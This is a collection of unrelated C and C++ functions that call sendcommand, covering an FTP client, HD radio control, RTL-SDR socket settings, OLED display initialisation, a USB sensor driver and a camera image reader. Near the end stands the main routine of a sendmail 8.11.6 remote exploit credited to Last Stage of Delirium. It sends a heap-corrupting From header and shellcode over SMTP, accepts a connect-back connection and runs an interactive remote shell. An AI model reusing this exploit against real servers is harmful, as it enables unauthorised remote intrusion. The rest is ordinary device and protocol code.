/* cmdrename - * Rename a remote file. */ int cmdrename (int argc, char *argv[]) { char buf[80]; if (argc < 2 && !another (&argc, &argv, "from-name")) goto usage; if (argc < 3 && !another (&argc, &argv, "to-name")) { usage: printf ("%s from-name to-name\n", argv[0]); code = -1; return 0; } nsprintf (buf, sizeof (buf), "RNFR %s", argv[1]); if (sendcommand (buf) == CONTINUE) { nsprintf (buf, sizeof (buf), "RNTO %s", argv[2]); return (COMPLETE == sendcommand (buf) ? 0 : -1); } else return -1; } /* cmdrename() */
/* cmdrmdir - * Remove a directory */ int cmdrmdir (int argc, char *argv[]) { char buf[256]; if (argc < 2 && !another (&argc, &argv, "directory-name")) { printf ("usage: %s directory-name\n", argv[0]); code = -1; return 0; } nsprintf (buf, sizeof (buf), "RMD %s", argv[1]); return (COMPLETE == sendcommand (buf) ? 0 : -1); } /* cmdrmdir() */
/* cmdcd - * Change remote current working directory. * Returns 0 on success, -1 on error. */ int cmdcd (int argc, char *argv[]) { if (argc == 1) argv[1] = "."; if (argc > 2) { nsprintf (msgbuf, sizeof (msgbuf), "usage: %s directory-spec\n", argv[0]); Lstrout (msgbuf); code = -1; return (0); } nsprintf (msgbuf, sizeof (msgbuf), "CWD %s", argv[1]); return (COMPLETE == sendcommand (msgbuf) ? 0 : -1); } /* cmdcd() */
/** * Seek a new station. Other functions can be used to specify whether to seek * only HD stations or seek all stations. * @param seek_dir direction ("up" or "down") to seek for a new station */ void HDCommands::hd_seekupdown(string seek_dir) {//public list<string> cmd; cmd.push_back(hdvals->getcode("seek")); cmd.push_back(hdvals->getop("set")); cmd.push_back("0xA5 0x00 0x00 0x00"); cmd.push_back(hdvals->getconstant("zero")); cmd.push_back(hdvals->getconstant(seek_dir)); if (seekall) { cmd.push_back("0x00 0x00 0x3D 0x00"); } else { cmd.push_back("0x00 0x00 0x3D 0x01"); } cmd.push_back(hdvals->getconstant("zero")); sendcommand(cmd); return; }
/* cmdcp - * Execute a remote file copy. */ int cmdcp (int argc, char *argv[]) { char buf[80]; if (argc < 2 && !another (&argc, &argv, "from-name")) goto usage; if (argc < 3 && !another (&argc, &argv, "to-name")) { usage: printf ("%s from-name to-name\n", argv[0]); code = -1; return 0; } nsprintf (buf, sizeof (buf), "COPY %s %s", argv[1], argv[2]); return (COMPLETE == sendcommand (buf) ? 0 : -1); } /* cmdcp() */
/** * Try to connect a device */ void connect_device() { const char * ANIM_CHARS = "-\\|/"; const char PASSWORD[6] = {'P', 'e', 'd', 'a', 0xff, 0}; int state = 0; int in = 0; printf("Waiting for device... Press CTRL+C to exit. "); while(1) { printf("\b%c", ANIM_CHARS[state]); fflush(stdout); com_puts(PASSWORD); in = com_getc(0); if(in == CONNECT) { sendcommand(COMMAND); // Empty buffer while(1) { switch(com_getc(TIMEOUT)) { case SUCCESS: printf("\n...Connected!\n"); gettimeofday(&t_start, NULL); return; case -1: printf("\n...Connection timeout!\n\n"); exit (0); } } } state++; state = state % 4; usleep(10000);//wait 10ms } }//void connect_device()
/** * Checking CRC Support * * @return 2 if no crc support, 0 if crc supported, 1 fail, exit on timeout */ int check_crc() { int i; unsigned int crc1; sendcommand(CHECK_CRC); crc1 = crc; com_putc(crc1); com_putc(crc1 >> 8); i = com_getc(TIMEOUT); switch (i) { case SUCCESS: return 0; case BADCOMMAND: return 2; case FAIL: return 1; case -1: printf("...Device does not answer!\n\n"); exit (0); default: return i; } }
//Command not used void tcpsocket::set_offset_tuning(int on) { struct command cmd = { 0x0a, htonl(on) }; sendcommand(cmd); }
//Command not used void tcpsocket::set_agc_mode(int on) { struct command cmd = { 0x08, htonl(on) }; sendcommand(cmd); }
//Command not used void tcpsocket::set_freq_corr(int ppm) { struct command cmd = { 0x05, htonl(ppm) }; sendcommand(cmd); }
//Command not used void tcpsocket::set_gain_mode(int manual) { struct command cmd = { 0x03, htonl(manual) }; sendcommand(cmd); }
void tcpsocket::set_freq(int freq) { struct command cmd = { 0x01, htonl(freq) }; sendcommand(cmd); }
static int getdata(struct usb_temperhum *td, int *SOt, int *SOrh, char *buf) { unsigned char *rxbuf; int retval, i; char cmd_data[4][8] = { {10, 11, 12, 13, 0, 0, 2, 0}, {0x48, 0, 0, 0, 0, 0, 0, 0}, {0, 0, 0, 0, 0, 0, 0, 0}, {10, 11, 12, 13, 0, 0, 1, 0} }; rxbuf = kmalloc(256, GFP_KERNEL); if (!rxbuf) { dev_err(&td->udev->dev, "out of memory\n"); strcpy(buf, "ERROR\n"); retval = strlen(buf); return retval; } if (sendcommand(td, cmd_data[0])){ /*printk("initprobe() - first call to sendcommand() failed\n"); */ return -EINVAL; } if (sendcommand(td, cmd_data[1])){ /*printk("initprobe() - second call to sendcommand() failed\n"); */ return -EINVAL; } for(i = 0; i < 7; ++i) if(sendcommand(td, cmd_data[2])){ /*printk("initprobe() - third call to sendcommand() failed\n"); */ return -EINVAL; } if (sendcommand(td, cmd_data[3])){ /*printk("initprobe() - third call to sendcommand() failed\n"); */ return -EINVAL; } msleep(400); retval = usb_control_msg(td->udev, usb_rcvctrlpipe(td->udev, 0), 1, 0xa1, 0x300, 1, rxbuf, RECV_BYTES, 5000); /* printk("td->udev->devnum value = %d, retval = %d\n", td->udev->devnum,retval); */ if(retval != RECV_BYTES) goto error; /* printk("setting SOt, SOh\n"); */ *SOt = (rxbuf[0] << 8) | (rxbuf[1] & 0xff); *SOrh = (rxbuf[2] << 8) | (rxbuf[3] & 0xff); /* printk("rxbuf[0..3] = %02x %02x %02x %02x, SOt = %x, SOrh = %x\n", rxbuf[0], rxbuf[1], rxbuf[2], rxbuf[3], *SOt, *SOrh); */ kfree(rxbuf); return 0; error: dev_err(&td->udev->dev, "USB communication error\n"); kfree(rxbuf); strcpy(buf, "ERROR\n"); retval = strlen(buf); return retval; }
/** * Send a command to the radio to return data for a particular mode or value, such as the * state of power or mute or the volume level or the current frequency info. * @param mode the mode to ask the radio to return */ void HDCommands::hdget(string mode) {//public list<string> cmd; cmd.push_back(hdvals->getcode(mode)); cmd.push_back(hdvals->getop("get")); sendcommand(cmd); }
/** * The main tune routine to tune the radio to a frequency, band, and subchannel. * @param newfreq the frequency to turn to * @param newchannel the new subchannel to turn to * @param newband the band for the new station * @return true if everything worked (specifically setting the subchannel) */ bool HDCommands::hd_tune(int newfreq, int newchannel, string newband) {//public // cout << "Tune, 3 args, final, Freq: " << newfreq << ", Channel: " << newchannel << ", Band: " << newband << endl; char chanxfer[10]; unsigned int x; double itime; list<string> cmd; char xfer; char hexfreq [8] = "000000"; string hex = "", oldfreq, checkchan; time_t tstart, tnow; if (newband == "FM") newband = "fm"; if (newband == "AM") newband = "am"; cmd.push_back(hdvals->getcode("tune")); cmd.push_back(hdvals->getop("set")); cmd.push_back(hdvals->getband(newband)); sprintf(hexfreq, "%4X", newfreq); //There has GOT to be a "C++" way of doing this easily: reverse the hex //bytes and replace blanks and spaces with 0. for (x = 0; x < sizeof(hexfreq); x++) { if (hexfreq[x] == 000 || hexfreq[x] == ' ') hexfreq[x] = '0'; if (x < 2) { xfer = hexfreq[x + 2]; hexfreq[x + 2] = hexfreq[x]; hexfreq[x] = xfer; } if (x % 2 == 0) { if (x > 0) hex += " "; hex += "0x"; } hex += hexfreq[x]; } cmd.push_back(hex); cmd.push_back(hdvals->getconstant("zero")); sendcommand(cmd); if (newchannel != 0) { sprintf(chanxfer, "%d", newchannel); checkchan = chanxfer; hd_setitem("hdsubchannel", newchannel, 0); time(&tstart); while (checkchan != hdlisten->gethdvalue("hdsubchannel")) { time(&tnow); itime = difftime(tnow, tstart); if (itime > streamlockwait) { if (verbose) cout << "Could not lock onto subchannel, Frequency: " << newfreq << ", Subchannel: " << newchannel << ", Band: " << newband << endl; // Give it a try before leaving, just in case. hd_setitem("hdsubchannel", newchannel, 0); return false; } usleep(100); hd_setitem("hdsubchannel", newchannel, 0); } // cout << "Subchannel set.!\n"; } return true; }
//==========================================================// // Turns display off. void i2c_oled::displayOff(void) { sendcommand(0xae); //display off }
//==========================================================// // Inits oled and draws logo at startup void i2c_oled::init_OLED(void) { // sendcommand(0xae); //display off // sendcommand(0xa6); //Set Normal Display (default) // Adafruit Init sequence for 128x64 OLED module sendcommand(0xAE); //DISPLAYOFF sendcommand(0xD5); //SETDISPLAYCLOCKDIV sendcommand(0x80); // the suggested ratio 0x80 sendcommand(0xA8); //SSD1306_SETMULTIPLEX //sendcommand(0x2F); //--1/48 duty //NEW!!! sendcommand(0x3F); //ak - sonst fehlt die 1. Zeile! sendcommand(0xD3); //SETDISPLAYOFFSET sendcommand(0x0); //no offset sendcommand(0x40 | 0x0); //SETSTARTLINE sendcommand(0x8D); //CHARGEPUMP sendcommand(0x14); sendcommand(0x20); //MEMORYMODE sendcommand(0x00); //0x0 act like ks0108 sendcommand(0xA0 | 0x1); //SEGREMAP //Rotate screen 180 deg //sendcommand(0xA0); sendcommand(0xC8); //COMSCANDEC Rotate screen 180 Deg //sendcommand(0xC0); sendcommand(0xDA); //0xDA sendcommand(0x12); //COMSCANDEC sendcommand(0x81); //SETCONTRAST sendcommand(0xCF); // sendcommand(0xd9); //SETPRECHARGE sendcommand(0xF1); sendcommand(0xDB); //SETVCOMDETECT sendcommand(0x40); sendcommand(0xA4); //DISPLAYALLON_RESUME sendcommand(0xA6); //NORMALDISPLAY //** clear_display(); sendcommand(0x2e); // stop scroll //----------------------------REVERSE comments----------------------------// // sendcommand(0xa0); //seg re-map 0->127(default) // sendcommand(0xa1); //seg re-map 127->0 // sendcommand(0xc8); // delay(1000); //----------------------------REVERSE comments----------------------------// // sendcommand(0xa7); //Set Inverse Display // sendcommand(0xae); //display off sendcommand(0x20); //Set Memory Addressing Mode sendcommand(0x00); //Set Memory Addressing Mode ab Horizontal addressing mode // sendcommand(0x02); // Set Memory Addressing Mode ab Page addressing mode(RESET) setXY(0,0); //** /* for(int i=0;i<128*8;i++) // show 128* 64 Logo { SendChar(pgm_read_byte(logo+i)); } */ sendcommand(0xaf); //display on }
//==========================================================// // Turns display on. void OLED::displayOn(void) { sendcommand(0xaf); //display on }
void reset_dsp() { m_commandId.reset(); sendcommand( commands::reset_dsp() ); }
//==========================================================// // Turns display off. void OLED::displayOff(void) { sendcommand(0xae); //display off }
void tcpsocket::set_sample_rate(int sample_rate) { struct command cmd = { 0x02, htonl(sample_rate) }; sendcommand(cmd); }
//==========================================================// // Set the cursor position in a 16 COL * 8 ROW map. void OLED::setXY(unsigned char row,unsigned char col) { sendcommand(0xb0+row); //set page address sendcommand(_offset+(8*col&0x0f)); //set low col address sendcommand(0x10+((8*col>>4)&0x0f)); //set high col address }
//Command not used void tcpsocket::set_gain(int gain) { struct command cmd = { 0x04, htonl(gain) }; sendcommand(cmd); }
//==========================================================// // Inits oled and draws logo at startup void OLED::init_OLED(void) { sendcommand(0xae); //display off sendcommand(0xa6); //Set Normal Display (default) // Adafruit Init sequence for 128x64 OLED module sendcommand(0xAE); //DISPLAYOFF sendcommand(0xD5); //SETDISPLAYCLOCKDIV sendcommand(0x80); // the suggested ratio 0x80 sendcommand(0xA8); //SSD1306_SETMULTIPLEX sendcommand(0x3F); sendcommand(0xD3); //SETDISPLAYOFFSET sendcommand(0x0); //no offset sendcommand(0x40 | 0x0); //SETSTARTLINE sendcommand(0x8D); //CHARGEPUMP sendcommand(0x14); sendcommand(0x20); //MEMORYMODE sendcommand(0x00); //0x0 act like ks0108 //sendcommand(0xA0 | 0x1); //SEGREMAP //Rotate screen 180 deg sendcommand(0xA0); //sendcommand(0xC8); //COMSCANDEC Rotate screen 180 Deg sendcommand(0xC0); sendcommand(0xDA); //0xDA sendcommand(0x12); //COMSCANDEC sendcommand(0x81); //SETCONTRAS sendcommand(0xCF); // sendcommand(0xd9); //SETPRECHARGE sendcommand(0xF1); sendcommand(0xDB); //SETVCOMDETECT sendcommand(0x40); sendcommand(0xA4); //DISPLAYALLON_RESUME sendcommand(0xA6); //NORMALDISPLAY clear_display(); sendcommand(0x2e); // stop scroll //----------------------------REVERSE comments----------------------------// sendcommand(0xa0); //seg re-map 0->127(default) sendcommand(0xa1); //seg re-map 127->0 sendcommand(0xc8); delay(1000); //----------------------------REVERSE comments----------------------------// // sendcommand(0xa7); //Set Inverse Display // sendcommand(0xae); //display off sendcommand(0x20); //Set Memory Addressing Mode sendcommand(0x00); //Set Memory Addressing Mode ab Horizontal addressing mode // sendcommand(0x02); // Set Memory Addressing Mode ab Page addressing mode(RESET) }
//Command not used void tcpsocket::set_if_gain(int stage, int gain) { uint32_t params = stage << 16 | (gain & 0xffff); struct command cmd = { 0x06, htonl(params) }; sendcommand(cmd); }
static int receive (byte * buf, int length, int expected) { int tries = 0; int n, total, i; byte *ptr; while (1) { ptr = buf; i = length; total = 0; while (waitforinput (fd)) { n = read (fd, ptr, i); if (n > 0) { ptr += n; i -= n; total += n; if (checkcrc (buf, total) && (total == expected)) { #ifdef DEBUG fprintf (stderr, "Read %d bytes as expected\n", total); #endif return total; } } } #ifdef DEBUG fprintf (stderr, "Read %d byes of %d bytes expected\n", total, expected); #endif /*Ok didn't match expected - two posibities */ /*1st we missed packet/crcerror */ /*2nd this is the last packet */ tries++; if ((total == 1) && (tries == 2) && (expected == SDSC_BLOCKSIZE)) { #ifdef DEBUG fprintf (stderr, "Detected EOF condition\n"); #endif return total; } if (tries == SDSC_RETRIES) { #ifdef DEBUG fprintf (stderr, "Giving up\n"); #endif return 0; } #ifdef DEBUG fprintf (stderr, "Retrying\n"); #endif sendcommand (SDSC_RETRANSMIT); } }
//Command not used void tcpsocket::set_direct_sampling(int on) { struct command cmd = { 0x09, htonl(on) }; sendcommand(cmd); }
/* ** fill out the rest of the image structure, given "number" already */ static struct Image * SDSC_ReadImage (int picnum, int thumbnail) { unsigned char buffer[2048]; char str[1024]; int len; int i; int blocks; struct Image *image = (struct Image *) malloc (sizeof (struct Image)); byte *ptr; int left, size; #ifdef DEBUG fprintf(stderr,"ReadImage \n"); #endif if (thumbnail) { free (image); return 0; } SDSC_disconnect (fd); /*Rewind */ i = picnum; #ifdef DEBUG fprintf(stderr,"Fetching %d (%d,%d)\n",picnum,thumbnail); #endif while (--i) /*Seek*/ { sendcommand (SDSC_START); len = receive (buffer, sizeof (buffer), SDSC_INFOSIZE); sendcommand (SDSC_NEXT); } sendcommand (SDSC_START); /*Read out a header */ len = receive (buffer, sizeof (buffer), SDSC_INFOSIZE); if (len != SDSC_INFOSIZE) { free (image); return 0; } buffer[SDSC_INFOSIZE] = 0; image->image_size = atoi (&buffer[15]); sprintf (str, "Length of image %d is %d bytes\n", picnum, image->image_size); update_status (str); blocks = (image->image_size + 0x3ff) / 0x400; blocks += 2; left = size = 0x400 * blocks; i = 0; ptr = image->image = (unsigned char *) malloc (size); if (!image->image) { error_dialog ("Failed to malloc image data."); free (image); return 0; } update_progress (0); sendcommand (SDSC_BINARY); /*Put into image mode */ sendcommand (SDSC_START); /*Start reading */ while (left > 0x400) { len = receive (buffer, sizeof (buffer), SDSC_BLOCKSIZE); if (!len) { free (image->image); free (image); #ifdef DEBUG fprintf(stderr,"ReadImage failed \n"); #endif return 0; } if ((len == 1) && (buffer[1] == 0x4)) break; bcopy (buffer + 3, ptr, 0x400); ptr += 0x400; left -= 0x400; i += 0x400; if (size) update_progress (100 * i / size); sendcommand (SDSC_BINARY); /*Next block */ } SDSC_disconnect (fd); /*Rewind */ strcpy (image->image_type, "jpg"); image->image_info_size = 0; #ifdef DEBUG fprintf(stderr,"Done ReadImage \n"); #endif return image; }
int main(int argc,char **argv){ int sck,srv,i,j,cnt,jidx,aidx,sidx,fidx,aptr,sptr,fptr,ssize,fsize,jmp; int c,l,i1,i2,i3,i4,found,vers=80,count=256,timeout=1,port=25; fd_set readfs; struct timeval t; struct sockaddr_in address; struct hostent *hp; char buf[4096],cmd[4096]; char *p,*host,*myhost=NULL; printf("copyright LAST STAGE OF DELIRIUM mar 2003 poland //lsd-pl.net/\n"); printf("sendmail 8.11.6 for Slackware 8.0 x86\n\n"); if (argc<3) { printf("usage: %s target [-l localaddr] [-b localport] [-p ptr] [-c count] [-t timeout] [-v 80]\n",argv[0]); exit(-1); } while((c=getopt(argc-1,&argv[1],"b:c:l:p:t:v:"))!=-1) { switch(c) { case 'b': port=atoi(optarg);break; case 'c': count=atoi(optarg);break; case 'l': myhost=optarg;break; case 't': timeout=atoi(optarg);break; case 'v': vers=atoi(optarg);break; case 'p': sscanf(optarg,"%x",&MPTR); } } host=argv[1]; srv=socket(AF_INET,SOCK_STREAM,0); bzero(&address,sizeof(address)); address.sin_family=AF_INET; address.sin_port=htons(port); if (bind(srv,(struct sockaddr*)&address,sizeof(address))==-1) { printf("error: bind\n");exit(-1); } if (listen(srv,10)==-1) { printf("error: listen\n");exit(-1); } initasmcode(myhost,port); for(i4=0;i4<count;i4++,MPTR+=cnt*4) { PTR=MPTR; sck=socket(AF_INET,SOCK_STREAM,0); bzero(&address,sizeof(address)); address.sin_family=AF_INET; address.sin_port=htons(25); if ((address.sin_addr.s_addr=inet_addr(host))==-1) { if ((hp=gethostbyname(host))==NULL) { printf("error: address\n");exit(-1); } memcpy(&address.sin_addr.s_addr,hp->h_addr,4); } if (connect(sck,(struct sockaddr*)&address,sizeof(address))==-1) { printf("error: connect\n");exit(-1); } initlookup(); sendcommand(sck,"helo yahoo.com\n",0); sendcommand(sck,"mail from: [email protected]\n",0); sendcommand(sck,"rcpt to: lp\n",0); sendcommand(sck,"data\n",0); aidx=findblock(PTR,PNUM*4,1); ALLOCBLOCK(aidx,PNUM*4); aptr=IDX2PTR(aidx); printf(".");fflush(stdout); jidx=findblock(PTR,strlen(shellcode)+PNUM*4,1); ALLOCBLOCK(jidx,strlen(shellcode)+PNUM*4); switch(vers) { case 80: l=28;i1=0x46;i2=0x94;i3=0x1c;break; default: exit(-1); } i2-=8; p=buf; for(i=0;i<138;i++) { *p++='<';*p++='>'; } *p++='('; for(i=0;i<l;i++) *p++=NOP; *p++=')'; *p++=0; putaddr(&buf[OFF3+l],aptr); sprintf(cmd,"From: %s\n",buf); sendcommand(sck,cmd,0); sendcommand(sck,"Subject: hello\n",0); memset(cmd,NOP,MAXLINE); cmd[MAXLINE-2]='\n'; cmd[MAXLINE-1]=0; cnt=0; while(cnt<PNUM) { sptr=aptr; fptr=IDX2PTR(OFF2); if (!(sidx=findsblock(sptr))) break; sptr=IDX2PTR(sidx); if (!(fidx=findfblock(fptr,i1,i2,i3))) break; fptr=IDX2PTR(fidx); jmp=IDX2PTR(jidx); while (!validaddr(jmp)) jmp+=4; putaddr(&cmd[aidx],sptr); putaddr(&cmd[sidx+0x24],aptr); putaddr(&cmd[sidx+0x28],aptr); putaddr(&cmd[sidx+0x18],fptr-i2-i3); putaddr(&cmd[fidx-i2-i3],0x01010101); putaddr(&cmd[fidx-i2-i3+i1],0xfffffff8); putaddr(&cmd[fidx-i3],fptr-i3); putaddr(&cmd[fidx],jmp); aidx+=4; PTR-=4; cnt++; } p=&cmd[jidx+4*PNUM]; for(i=0;i<strlen(shellcode);i++) { *p++=shellcode[i]; } sendcommand(sck,cmd,0); sendcommand(sck,"\n",0); sendcommand(sck,".\n",0); free(lookup); FD_ZERO(&readfs); FD_SET(0,&readfs); FD_SET(srv,&readfs); t.tv_sec=timeout; t.tv_usec=0; if (select(srv+1,&readfs,NULL,NULL,&t)>0) { close(sck); found=1; if ((sck=accept(srv,(struct sockaddr*)&address,&l))==-1) { printf("error: accept\n");exit(-1); } close(srv); printf("\nbase 0x%08x mcicache 0x%08x\n",PTR,aptr); write(sck,"/bin/uname -a\n",14); } else { close(sck); found=0; } while(found){ FD_ZERO(&readfs); FD_SET(0,&readfs); FD_SET(sck,&readfs); if(select(sck+1,&readfs,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&readfs)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else {printf("koniec\n");exit(-1);} } write(sck,buf,cnt); } if(FD_ISSET(sck,&readfs)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else {printf("koniec\n");exit(-1);} } write(1,buf,cnt); } } } } }
//==========================================================// // Turns display on. void i2c_oled::displayOn(void) { sendcommand(0xaf); //display on }